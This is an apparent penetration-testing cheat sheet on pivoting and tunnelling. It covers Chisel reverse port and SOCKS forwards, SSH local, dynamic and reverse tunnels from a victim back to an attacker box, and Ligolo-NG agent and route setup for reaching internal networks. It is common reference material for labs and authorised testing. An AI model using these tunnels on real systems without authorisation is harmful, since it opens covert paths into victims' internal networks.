# Pivot & Tunneling

## Chisel -Port To Port

<https://github.com/jpillora/chisel>

```
#on attacker machine
chisel server -p 6969 --reverse

#on target machine
chisel.exe client <attacker-ip>:<attacker-chisel-port> R:<port-to-forward>:127.0.0.1:<port-to-forward>/tcp

```

## Chisel - SOCKS

```
#on attacker machine
chisel server -p 6969 --reverse

#on target machine
chisel.exe client <attacker-ip>:<attacker-chisel-port> R:<port-to-forward>:127.0.0.1:socks

```

## SSH local port forwarding

```
ssh user@<machina-ip> -T -L <your-port>:localhost:<remote/victim port>
```

You can then browse/connect to localhost:your-port to acess victim:remote--port

## SSH forward dynamic (SOCKS) proxy

```
ssh -D localhost:9999 -f -N target@<target-ip>
```

## Reverse SSH tunnel

One common scenario is gaining a foothold without credentials so you can't bind ssh tunnel. But you can still reverse SSH tunnel from the victim to your box. Using the following technique, you'll be able to reach those.

```
ssh -N -R 3306:localhost:3306 kali@<attacker-ip>
```

## Reverse SSH Dynamic (SOCKS) tunnel

```
ssh -N -R 127.0.0.1:9090 kali@<attacker-ip>
```

## Ligolo-NG

<https://github.com/nicocha30/ligolo-ng>

A coworker of mine showed me this and I instantly fell in love with the concept. It has a proxy-agent system and it works just like a VPN using a TUN interface.

### Setup TUN interface

```
sudo ip tuntap add user kali mode tun ligolo  
sudo ip link set ligolo up  
```

### Start proxy (agent handler)

```
./proxy -selfcert -laddr 10.10.14.21:443  
WARN[0000] Using automatically generated self-signed certificates (Not recommended)   
INFO[0000] Listening on 10.10.14.21:443  
```

### Connect an agent to the proxy

```
./agent -connect 10.10.14.21:443 -ignore-cert  
WARN[0000] warning, certificate validation disabled       
INFO[0000] Connection established  
```

### Session management from agent

```
session   -> choose session  
start

# add routes for networks (usually internal networks)  
sudo ip route add 192.168.210.0/24 dev ligolo  
sudo ip route add 192.168.110.0/24 dev ligolo  
```

### Configure port forwarding

```
listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp  
```